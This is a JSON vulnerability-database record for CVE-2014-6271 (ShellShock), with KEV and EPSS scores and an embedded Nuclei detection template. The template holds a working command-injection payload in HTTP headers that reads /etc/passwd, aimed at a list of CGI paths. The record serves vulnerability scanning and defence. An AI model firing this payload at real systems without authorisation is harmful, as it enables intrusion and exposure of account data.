{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2014-6271/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2014-6271/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2014-6271/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2014-6271/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2014-6271/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2014-6271"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2014-6271"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99999,
      "kev": true,
      "percentile": 0.99993
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2014/CVE-2014-6271.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2014-6271\n\ninfo:\n  name: ShellShock - Remote Code Execution\n  author: pentest_swissky,0xelkomy\n  severity: critical\n  description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.\n  impact: |\n    Remote code execution can lead to unauthorized access, data theft, and system compromise.\n  remediation: |\n    Apply the necessary patches and updates provided by the vendor to fix the vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2014-6271\n    - https://nvd.nist.gov/vuln/detail/CVE-2014-7169\n    - http://www.kb.cert.org/vuls/id/252743\n    - http://www.us-cert.gov/ncas/alerts/TA14-268A\n    - http://advisories.mageia.org/MGASA-2014-0388.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2014-6271\n    cwe-id: CWE-78\n    epss-score: 0.99999\n    epss-percentile: 0.99992\n    cpe: cpe:2.3:a:gnu:bash:1.14.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 8\n    vendor: gnu\n    product: bash\n  tags: cve2014,cve,rce,shellshock,kev,gnu,vkev,vuln\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}{{paths}}\"\n    payloads:\n      paths:\n        - \"\"\n        - \"/cgi-bin/status\"\n        - \"/cgi-bin/stats\"\n        - \"/cgi-bin/test\"\n        - \"/cgi-bin/status/status.cgi\"\n        - \"/test.cgi\"\n        - \"/debug.cgi\"\n        - \"/cgi-bin/test-cgi\"\n        - \"/cgi-bin/test.cgi\"\n\n    stop-at-first-match: true\n\n    headers:\n      Shellshock: \"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd \"\n      Referer: \"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd \"\n      Cookie: \"() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd \"\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502202c8887484c967eeabeef1e87ca82fd3e4c4c1e854540edc2c4631800d59796b10221009c0a06ecb1ac7731b7534aa044d95315fdac4d0ccf3aa04a8d2feb0ece913b3a:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2014-6271"
}